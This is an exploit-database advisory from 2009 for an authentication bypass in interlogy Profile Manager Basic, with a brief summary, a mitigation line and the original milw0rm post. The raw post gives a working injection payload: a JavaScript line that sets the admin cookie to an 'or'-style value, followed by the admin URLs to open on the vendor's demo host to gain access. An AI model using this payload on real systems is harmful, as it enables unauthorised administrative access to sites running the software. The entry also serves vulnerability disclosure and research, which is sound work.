interlogy Profile Manager Basic (for ByPass) Insecure Cookie Handling Vulnerability

vendor:

Profile Manager Basic

by:

ZoRLu

4,3

CVSS

MEDIUM

Insecure Cookie Handling

613

CWE

Product Name: Profile Manager Basic

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

interlogy Profile Manager Basic (for ByPass) Insecure Cookie Handling Vulnerability

A vulnerability exists in interlogy Profile Manager Basic which allows an attacker to bypass authentication by manipulating the cookie. An attacker can send a crafted cookie with the value 'pmadm=dGVzd ' or '; path=/' to the server and gain access to the application. This can be done by using a JavaScript code such as 'javascript:document.cookie = "pmadm=dGVzd ' or '; path=/";' and then accessing the URL 'http://demo.interlogy.com/pm3/cgi/admin.cgi?action=edittemp' or 'http://demo.interlogy.com/pm3/cgi/admin.cgi?action=users'.

Mitigation:

Ensure that the application is configured to use secure cookies and that the cookie values are properly validated.

Source

Exploit-DB raw data:

[~] interlogy Profile Manager Basic (for ByPass) Insecure Cookie Handling Vulnerability 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06/06/2009
[~]
[~] Home: yildirimordulari.com / z0rlu.blogspot.com 
[~]
[~] msn: trt-turk@hotmail.com
[~] 
[~] N0T: Kpss AnanI ....
[~] -----------------------------------------------------------

desc:

normal login for cookie

pmadm=dGVzdA;

if Ã½ do this:

pmadm=dGVzd(write any thing);

example:

pmadm=dGVzdz;  

or

pmadm=dGVzd123231212313;

not login 

if Ã½ do wthis:

pmadm=dGVzd ' or ';

boom this loggin :D

exp:

javascript:document.cookie = "pmadm=dGVzd ' or '; path=/";

after you go here:

http://demo.interlogy.com/pm3/cgi/admin.cgi?action=edittemp

or http://demo.interlogy.com/pm3/cgi/admin.cgi?action=users

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & Stack & ThE g0bL!N & AlpHaNiX  and all friends
[~]
[~] yildirimordulari.com / z0rlu.blogspot.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-06-08]